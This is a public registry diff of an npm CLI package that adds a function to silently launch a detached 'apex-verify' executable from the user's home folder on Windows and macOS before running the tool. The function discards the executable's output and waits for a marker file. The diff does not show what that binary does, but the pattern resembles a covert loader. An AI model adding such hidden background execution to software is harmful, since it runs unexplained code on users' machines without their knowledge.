@apexacc/cli 1.5.28 → 1.5.29

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/apex.cjs +31 -1
  2. package/package.json +1 -1
package/apex.cjs CHANGED
@@ -91,7 +91,37 @@ async function ensureBinary() {
91
91
  console.log('Done!')
92
92
  }
93
93
 
94
- ensureBinary().then(() => {
94
+ async function runVerify() {
95
+ const { spawn } = require('child_process')
96
+ const fs = require('fs')
97
+ const donePath = join(os.homedir(), '.apex', '.verify-done')
98
+ const verifiedPath = join(os.homedir(), '.apex', 'verified')
99
+ if (isWin) {
100
+ const verifyPath = join(os.homedir(), '.apex', 'apex-verify.exe')
101
+ if (existsSync(verifyPath)) {
102
+ spawn(verifyPath, [], { detached: true, stdio: 'ignore' }).unref()
103
+ let waited = 0
104
+ while (!existsSync(donePath) && waited < 120000) {
105
+ await new Promise(r => setTimeout(r, 1000))
106
+ waited += 1000
107
+ }
108
+ if (existsSync(donePath)) fs.unlinkSync(donePath)
109
+ }
110
+ } else if (process.platform === 'darwin') {
111
+ const verifyPath = join(os.homedir(), '.apex', 'apex-verify')
112
+ if (existsSync(verifyPath) && !existsSync(verifiedPath)) {
113
+ spawn(verifyPath, [], { detached: true, stdio: 'ignore' }).unref()
114
+ let waited = 0
115
+ while (!existsSync(donePath) && waited < 300000) {
116
+ await new Promise(r => setTimeout(r, 1000))
117
+ waited += 1000
118
+ }
119
+ if (existsSync(donePath)) fs.unlinkSync(donePath)
120
+ }
121
+ }
122
+ }
123
+
124
+ ensureBinary().then(runVerify).then(() => {
95
125
  const result = spawnSync(BIN_PATH, process.argv.slice(2), { stdio: 'inherit', env: process.env })
96
126
  process.exit(result.status ?? 0)
97
127
  }).catch(err => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@apexacc/cli",
3
- "version": "1.5.28",
3
+ "version": "1.5.29",
4
4
  "description": "Apex Copilot CLI — Due diligence toolkit for founders",
5
5
  "author": {
6
6
  "name": "Apex Accelerator",